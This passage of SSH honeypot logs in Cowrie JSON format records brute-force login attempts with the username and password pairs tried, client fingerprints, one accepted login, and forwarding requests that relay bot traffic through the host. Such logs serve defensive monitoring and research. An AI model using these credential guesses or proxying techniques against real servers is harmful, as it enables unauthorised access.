f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:22.606953Z","src_ip":"2.99.213.222","session":"2026397425fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx@123","message":"login attempt [ubuntu/qazwsx@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:23.050844Z","src_ip":"2.99.213.222","session":"2026397425fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":35072,"dst_ip":"159.203.135.109","dst_port":22,"session":"1779721cc647","protocol":"ssh","message":"New connection: 101.79.165.43:35072 (159.203.135.109:22) [session: 1779721cc647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:23.055626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:23.058914Z","src_ip":"101.79.165.43","session":"1779721cc647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:23.276417Z","src_ip":"101.79.165.43","session":"1779721cc647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:24.156750Z","src_ip":"2.99.213.222","session":"2026397425fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Root1234","message":"login attempt [ubuntu/Root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:24.179294Z","src_ip":"101.79.165.43","session":"1779721cc647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.2","message":"Connection lost after 24.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:24.273923Z","src_ip":"173.208.188.210","session":"659d6b6cf766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:25.399565Z","src_ip":"101.79.165.43","session":"1779721cc647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":27882,"dst_ip":"159.203.135.109","dst_port":22,"session":"916d9b93855e","protocol":"ssh","message":"New connection: 49.247.37.22:27882 (159.203.135.109:22) [session: 916d9b93855e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:30.619680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:30.624731Z","src_ip":"49.247.37.22","session":"916d9b93855e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:30.824564Z","src_ip":"49.247.37.22","session":"916d9b93855e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mike","password":"changeme","message":"login attempt [mike/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:31.661176Z","src_ip":"49.247.37.22","session":"916d9b93855e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:32.863786Z","src_ip":"49.247.37.22","session":"916d9b93855e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":58924,"dst_ip":"10.17.0.5","dst_port":22,"session":"deec184a8344","protocol":"ssh","message":"New connection: 27.71.230.31:58924 (10.17.0.5:22) [session: deec184a8344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:53.240906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:53.264786Z","src_ip":"27.71.230.31","session":"deec184a8344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:54.097187Z","src_ip":"27.71.230.31","session":"deec184a8344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome1111@","message":"login attempt [root/Welcome1111@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:56.132696Z","src_ip":"27.71.230.31","session":"deec184a8344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":62164,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f8dcba5896b","protocol":"ssh","message":"New connection: 113.164.152.20:62164 (10.17.0.5:22) [session: 4f8dcba5896b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:56.444716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:56.448659Z","src_ip":"113.164.152.20","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:56.760577Z","src_ip":"113.164.152.20","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:57.997640Z","src_ip":"113.164.152.20","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:58.067521Z","src_ip":"27.71.230.31","session":"deec184a8344","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:58.425664Z","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:58.531967Z","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56469,"dst_ip":"10.17.0.5","dst_port":22,"session":"34fc621c6a26","protocol":"ssh","message":"New connection: 123.27.168.40:56469 (10.17.0.5:22) [session: 34fc621c6a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:58.657382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:58.662446Z","src_ip":"123.27.168.40","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:58.708683Z","src_ip":"113.164.152.20","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:74.0) Gecko/20100101 Firefox/74.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1176\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Yz80L1UzZD56fVQkL2JFZg%3D%3DdQEeYnaKlixCea9nJucDf%2FMcJZaZgYFzbvbaE4XEEPl7aIxz3rltizoC6LJEmU8zUBA3jbWGbnu1auIxVjTgjTJU9bQIn8%2BwpCpBttcR3XM4j0Y8kQDWEteUW52faOKl2s3idt6y2zbVWsRwZcy4OW3gcyNhnYgSjq2s2IP7jIu1QLOm8vTXLinxmM0xJLE8vXEaUpSjFjBB2wDxQmy53DYDyCs4c0Mg7EiJ017F9Vl%2BZKtba4XBFxMV%2BWqlZLRMKOZ662uyb3EN6ZvdN9OxHcEyv9kTlQqPKYUFuoziXLaz3saba%2FKKhwTpG7bADwPbcQPJVHw1TZuVp%2Fd1yRbIu9suSgmChxXTL%2FNtYzt0daNrrLFmgis9lA8vIhjlVPQ4C3%2FqPuRBwcjNjMQRTTtFYhFj0zoGcNxmhR7i5yB37oh2Hel1Tnpty7kRGlGROIG4gI9EIXm9wm2cnNgQCIPn2skFw2NWm0XrVzk5Ex8QRWndL3KhAkzyVlue4%2BpSpakzSsv1oA9EJmYcIDZfikG1OUChpD9M2gZGwi%2BtsgVgy3CO1tXbgEb7dM9H3pM8Ni1H2udVciKfn0CPgTZQGeI3BuDf1MpdGUAc%2FZj5STL3%2BsEpJQ1kmXSjrh9Mm%2Bw9wmdaQqGpha06fu3ZkN7EnAr1c2i6Go4t6gJZYlUPwI%2BaXGvKq%2B8HLU0mqDIvhJx4%2BAV0SXSdo8PSgebi7uPTQQuvV0pZE91LHPNP%2BNmxT0h7vt35E9yuK%2BtrG9G%2FX5mpdDdQbRND03HAsEveeM6p%2F6u7P0UGYbakUn6FkaxvmhBv1ktHDxHHRYhoC781EgM9bMrBt%2FBv9HC09xsFS2vMAHRk45KUUy%2FCFbyRay8D4EU1qXPkZHYvAQFGnfNUZ1i7WbqbHyqUZfb1DebNfLhJfRiDszg8jFufhUXIDoHc%2BAcPD%2FIJbf%2FZbMk%2BQ19yQmziCDHc9RKF7IvkLXJIeXKxMYNwuS%2Bw%2FcATlIJmYKAusvTPAk46SpTcqNwa3val%2Ba2FA2i57QTToEmL6ymeKHCBawWkl5ZKndMKQ80asyb3OEvSawfLWwQeorXm9FcraQVEg3wa'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:74.0) Gecko/20100101 Firefox/74.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1176\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Yz80L1UzZD56fVQkL2JFZg%3D%3DdQEeYnaKlixCea9nJucDf%2FMcJZaZgYFzbvbaE4XEEPl7aIxz3rltizoC6LJEmU8zUBA3jbWGbnu1auIxVjTgjTJU9bQIn8%2BwpCpBttcR3XM4j0Y8kQDWEteUW52faOKl2s3idt6y2zbVWsRwZcy4OW3gcyNhnYgSjq2s2IP7jIu1QLOm8vTXLinxmM0xJLE8vXEaUpSjFjBB2wDxQmy53DYDyCs4c0Mg7EiJ017F9Vl%2BZKtba4XBFxMV%2BWqlZLRMKOZ662uyb3EN6ZvdN9OxHcEyv9kTlQqPKYUFuoziXLaz3saba%2FKKhwTpG7bADwPbcQPJVHw1TZuVp%2Fd1yRbIu9suSgmChxXTL%2FNtYzt0daNrrLFmgis9lA8vIhjlVPQ4C3%2FqPuRBwcjNjMQRTTtFYhFj0zoGcNxmhR7i5yB37oh2Hel1Tnpty7kRGlGROIG4gI9EIXm9wm2cnNgQCIPn2skFw2NWm0XrVzk5Ex8QRWndL3KhAkzyVlue4%2BpSpakzSsv1oA9EJmYcIDZfikG1OUChpD9M2gZGwi%2BtsgVgy3CO1tXbgEb7dM9H3pM8Ni1H2udVciKfn0CPgTZQGeI3BuDf1MpdGUAc%2FZj5STL3%2BsEpJQ1kmXSjrh9Mm%2Bw9wmdaQqGpha06fu3ZkN7EnAr1c2i6Go4t6gJZYlUPwI%2BaXGvKq%2B8HLU0mqDIvhJx4%2BAV0SXSdo8PSgebi7uPTQQuvV0pZE91LHPNP%2BNmxT0h7vt35E9yuK%2BtrG9G%2FX5mpdDdQbRND03HAsEveeM6p%2F6u7P0UGYbakUn6FkaxvmhBv1ktHDxHHRYhoC781EgM9bMrBt%2FBv9HC09xsFS2vMAHRk45KUUy%2FCFbyRay8D4EU1qXPkZHYvAQFGnfNUZ1i7WbqbHyqUZfb1DebNfLhJfRiDszg8jFufhUXIDoHc%2BAcPD%2FIJbf%2FZbMk%2BQ19yQmziCDHc9RKF7IvkLXJIeXKxMYNwuS%2Bw%2FcATlIJmYKAusvTPAk46SpTcqNwa3val%2Ba2FA2i57QTToEmL6ymeKHCBawWkl5ZKndMKQ80asyb3OEvSawfLWwQeorXm9FcraQVEg3wa'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:58.712350Z","src_ip":"113.164.152.20","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:58.894063Z","src_ip":"123.27.168.40","session":"34fc621c6a26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:58.981507Z","src_ip":"113.164.152.20","session":"4f8dcba5896b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=h^)N\\x00\\xd4\\x0b\\x85\\xec?\\xc8\\xb4|\\xfe}\\x10S\\xddr\\xe4X\\xf8\\xa5&WK\\xed\\x9c\\x11^\\xe1 \\xef\\x87\\xa1\\xba\\x88N\\xe4\\xae\\xbcr\\xda\\x830\\x13\\xcb\\xd2\\x12\\xfd\\x89\\x19D\\xdf\\nE\\x9d\\x81\\xde[i\\x04]\\xdd\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2\\xa9\\xd3\\x84\\xe0\\xa3\\x8c>\\x0b\\xfdRu\\xc1\\x0b\\x1a\\x02\\xda\\xd57\\xe9F\\xa7kJ\\x9e\\x88\\xdf]\\x11-o[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=h^)N\\x00\\xd4\\x0b\\x85\\xec?\\xc8\\xb4|\\xfe}\\x10S\\xddr\\xe4X\\xf8\\xa5&WK\\xed\\x9c\\x11^\\xe1 \\xef\\x87\\xa1\\xba\\x88N\\xe4\\xae\\xbcr\\xda\\x830\\x13\\xcb\\xd2\\x12\\xfd\\x89\\x19D\\xdf\\nE\\x9d\\x81\\xde[i\\x04]\\xdd\\x00 